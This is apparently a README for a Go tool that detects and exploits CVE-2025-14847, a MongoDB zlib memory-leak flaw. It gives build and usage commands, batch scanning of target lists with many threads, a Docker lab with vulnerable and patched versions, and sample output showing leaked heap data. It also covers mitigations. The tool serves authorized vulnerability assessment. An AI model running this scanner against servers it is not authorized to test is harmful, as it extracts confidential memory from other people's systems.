
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
Инструмент для обнаружения утечки памяти в MongoDB (CVE-2025-14847)
⚠️ Важное примечание: Этот инструмент предназначен только для авторизованного тестирования безопасности и оценки уязвимостей. Несанкционированное использование может нарушать закон.
CVE-2025-14847 — критическая утечка памяти в обработке протокола сжатия Zlib в MongoDB. Злоумышленник может отправить специально сформированный сжатый пакет, в результате чего MongoDB возвращает неинициализированные данные из кучи, которые могут содержать конфиденциальную информацию.
# Клонирование репозитория
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Установка зависимостей
go mod download
# Сборка
go build -o mongodb-scanner main.go
# Запуск
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Перейдите на страницу Releases и загрузите подходящую версию для вашей системы.
# Сканирование одной цели
./mongodb-scanner -t 127.0.0.1:27017
# Пакетное сканирование из файла
./mongodb-scanner -f targets.txt
# Пакетное сканирование (20 потоков)
./mongodb-scanner -f targets.txt -c 20
# Сканирование с сохранением уязвимых целей
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Пользовательский диапазон смещений (более быстрое или более глубокое сканирование)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
Создайте файл targets.txt:
# Список целей MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# Если порт не указан, по умолчанию используется 27017
192.168.1.101
Для безопасного тестирования этого инструмента рекомендуется использовать Docker для создания локальной тестовой среды.
# Запуск MongoDB 6.0.14 (уязвимая версия) с включённым сжатием Zlib
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Проверка состояния контейнера
docker ps
# Тестирование уязвимости
./mongodb-scanner -t 127.0.0.1:27017
Создайте файл docker-compose.yml:
version: '3.8'
services:
# Уязвимая версия (с Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Исправленная версия (для сравнения)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Запуск тестовой среды:
# Запуск всех контейнеров
docker-compose up -d
# Тестирование уязвимой версии
./mongodb-scanner -t 127.0.0.1:27017
# Тестирование исправленной версии
./mongodb-scanner -t 127.0.0.1:27018
# Остановка и очистка
docker-compose down -v
# Остановка и удаление контейнера
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Очистка томов
docker volume prune -f
Инструмент использует единые префиксы для маркировки вывода:
[*] – информационный вывод (цель, версия, конфигурация и т. д.)[+] – успех / наличие уязвимости / извлечение данных[-] – неудача / безопасно / уязвимость отсутствует[!] – предупреждение / важная информация╔══════════════════════════════════════════════════════════════╗
║ Инструмент обнаружения уязвимости MongoDB CVE-2025-14847 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ Только для авторизованного тестирования | Несанкционированное тестирование может быть незаконным
[*] Цели: 1 | Потоки: 10 | Тайм-аут: 2s | Смещение: 20-1000
[*] Начало сканирования...
[*] Цель: 127.0.0.1:27017
[*] Версия: 6.0.14
[+] Уязвимая версия: да
[+] Сжатие Zlib: включено
[!] Уязвимость эксплуатируема, начинаем извлечение памяти...
[+] Смещение=229 Длина=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 – уязвимость эксплуатируема (v6.0.14) – 3468ms
[+] Успешно извлечено 1 фрагмент данных памяти:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] Сканирование завершено | Всего: 1 | Эксплуатируемо: 1 | Безопасно: 0 | Затрачено: 3.4s
======================================================================
[*] Цель: 127.0.0.1:27018
[*] Версия: 6.0.27
[-] Уязвимая версия: нет
[-] 127.0.0.1:27018 – версия безопасна (v6.0.27) – 156ms
======================================================================
[*] Сканирование завершено | Всего: 1 | Эксплуатируемо: 0 | Безопасно: 1 | Затрачено: 0.2s
======================================================================
[*] Цель: 127.0.0.1:27017
[*] Версия: 6.0.14
[+] Уязвимая версия: да
[-] Сжатие Zlib: не включено
[-] 127.0.0.1:27017 – Zlib не включён (v6.0.14) – 234ms
======================================================================
[*] Сканирование завершено | Всего: 1 | Эксплуатируемо: 0 | Безопасно: 1 | Затрачено: 0.3s
======================================================================
[*] Цели: 5 | Потоки: 10 | Тайм-аут: 2s | Смещение: 20-8192
[*] Начало сканирования...
[+] 192.168.1.10:27017 – уязвимость эксплуатируема (v6.0.14) – 3521ms
[+] Успешно извлечено 2 фрагмента данных памяти:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 – версия безопасна (v6.0.27) – 145ms
[-] 192.168.1.12:27017 – Zlib не включён (v6.0.14) – 198ms
[+] 192.168.1.13:27017 – уязвимость эксплуатируема (v7.0.15) – 2987ms
[!] 192.168.1.14:27017 – уязвимость эксплуатируема, но данные не извлечены (v6.0.20) – 4123ms
======================================================================
[*] Сканирование завершено | Всего: 5 | Эксплуатируемо: 3 | Безопасно: 2 | Затрачено: 5.2s
======================================================================
[+] Уязвимые цели сохранены в: vulnerable.txt
Инструмент использует трёхэтапный механизм обнаружения:
buildInfo)| Условие | Результат |
|---|---|
| Уязвимая версия + Zlib включён + данные извлечены | ✅ Уязвимость эксплуатируема – отображение утёкших данных |
| Уязвимая версия + Zlib включён + данные не извлечены | ⚠️ Уязвимость эксплуатируема, но данные не извлечены |
| Уязвимая версия + Zlib не включён | ❌ Zlib не включён – эксплуатация невозможна |
Немедленно обновитесь до одной из исправленных версий:
Если обновление невозможно в краткосрочной перспективе, примите следующие временные меры:
В файле mongod.conf или mongos.conf настройте:
net:
compression:
compressors: []
Или в параметрах запуска явно исключите zlib:
mongod --networkMessageCompressors snappy,zstd
Рекомендуется использовать snappy или zstd вместо zlib:
net:
compression:
compressors: snappy,zstd
bindIp--auth)⚠️ Важное примечание: Временные меры могут только снизить риск, но не являются окончательным решением. Настоятельно рекомендуется как можно скорее обновиться до исправленной версии.
Важное примечание:
Используя этот инструмент, вы соглашаетесь:
Этот проект распространяется под лицензией MIT.
Приветствуются Issues и Pull Requests!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner – @onewinner
Адрес проекта: https://github.com/onewinner/CVE-2025-14847
⭐ Если этот проект был вам полезен, поставьте звезду!
Создано с ❤️ исследователями безопасности
| Диапазон версий | Статус |
|---|
| 8.2.0 – 8.2.2 | ⚠️ Затронуто |
| 8.0.0 – 8.0.16 | ⚠️ Затронуто |
| 7.0.0 – 7.0.27 | ⚠️ Затронуто |
| 6.0.0 – 6.0.26 | ⚠️ Затронуто |
| 5.0.0 – 5.0.31 | ⚠️ Затронуто |
| 4.4.0 – 4.4.29 | ⚠️ Затронуто |
| 4.2.x все версии | ⚠️ Затронуто |
| 4.0.x все версии | ⚠️ Затронуто |
| 3.6.x все версии | ⚠️ Затронуто |
| Параметр | Описание | Значение по умолчанию |
|---|
-t <цель> | Одиночная цель (например: 127.0.0.1:27017) | – |
-f <файл> | Файл с целями (по одной на строку) | – |
-c <число> | Количество потоков | 10 |
-timeout <время> | Время ожидания соединения | 2s |
-o <файл> | Выходной файл (сохраняет уязвимые цели) | – |
--min-offset <число> | Минимальное смещение длины документа | 20 |
--max-offset <число> | Максимальное смещение длины документа | 8192 |
| Неуязвимая версия |
| ✅ Версия безопасна |